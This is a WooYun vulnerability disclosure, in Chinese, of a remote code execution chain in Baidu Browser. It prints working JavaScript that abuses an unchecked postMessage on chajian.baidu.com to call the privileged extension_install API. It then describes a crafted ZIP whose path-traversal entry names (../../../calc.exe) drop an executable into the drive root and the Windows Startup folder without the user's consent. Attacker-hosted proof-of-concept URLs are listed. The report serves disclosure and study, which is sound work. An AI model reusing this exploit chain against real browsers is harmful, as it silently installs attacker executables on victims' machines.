WooYun.org

1. 本来是在 bbs.liulanqi.baidu.com下找到一个DOM XSS，但是发现百度这次把bbs.liulanqi.baidu.com从特权域中去掉了。T T。
2. 转战其它域，发现这么一个URL：http://chajian.baidu.com/app-res.html
在这个页面中，存在一些缺陷，允许来自外部的postMessage，这个页面够不成XSS，但是这个postMessage可以调用到一些特权的API，如：

window.external.StartRequest(1264, "extension_install", ....., "")

3. 上面的缺陷不具体分析了，我们可以自己编写以下页面代码：

var f=document.createElement("iframe");f.src="http://chajian.baidu.com/app-res.html";
f.onload=function(){
f.contentWindow.postMessage('{"type":"install","data":{"id":"fpdnjdlbdmifoocedhkighhlbchbiikl","url":"http://dlsw.br.baidu.com/app/201410/1f457685544a52b101cc1f173adae6f8.crx","ext_url":"http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip"}}','*');
};
document.body.appendChild(f);

其中,url是插件地址，ext_url是插件的LOGO压缩包（ZIP格式）
（测试地址：http://xsst.sinaapp.com/poc/bd7.htm）
4. 看样子我们可以实现安装一个插件，但是插件具有以下的交互提示：

5. 假设用户不会点击【安装】按钮，那么对于用户来说并没有任何影响。
-----------------------------------------------------------------------
！！！那么，这个点是不是就没用了呢？
-----------------------------------------------------------------------
6. 我们可以注意到ext_url对应了一个http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip这么一个压缩包，下载压缩包后，发现里面对应着插件的LOGO图片。当我们执行上面的代码（http://xsst.sinaapp.com/poc/bd7.htm）时，会发现本地会多出一个目录C:\Users\gainover\AppData\Roaming\Baidu\baidubrowser\user_data\default\chrome_profile\Imgs\fpdnjdlbdmifoocedhkighhlbchbiikl （WIN7下的路径），该目录下会多出2个图片，这2个图片，正是 http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip 里释放出来的。

7. 这说明，百度浏览器在执行externsion_install时，（即使用户不点击安装按钮），浏览器也会下载LOGO图片压缩包并解压到本地目录中。
因为这里存在一个解压缩操作，如果解压缩的函数存在问题，就会出现（ WooYun: QQ浏览器远程任意命令执行漏洞（附有分析和利用） ）中相类似的问题。
8. 于是测试如下，下载http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip文件，然后使用7zip修改，
拖入一个calc.exe到压缩包中，然后重命名为 ../../../../../../../../../../../calc.exe

9. 将修改后的压缩包放到服务器上
http://xsst.sinaapp.com/poc/bd2.zip
10. 然后将之前利用代码里的ext_url改为 http://xsst.sinaapp.com/poc/bd2.zip
见：http://xsst.sinaapp.com/poc/bd7_2.htm
运行后，弹出安装框，不用做任何操作，可以看到C盘根目录下写入了calc.exe
(Win7 需关闭UAC，或浏览器以管理员身份运行)

11. 利用这种方式，我们可以把exe写入到启动目录。
同上，拖入calc.exe到压缩包，然后重命名为：
../../../../../../../../../../../../../../../../../../Documents and Settings/All Users/「开始」菜单/程序/启动/calc.exe
XP下，百度浏览器访问http://xsst.sinaapp.com/poc/bd7_3.htm
写入效果：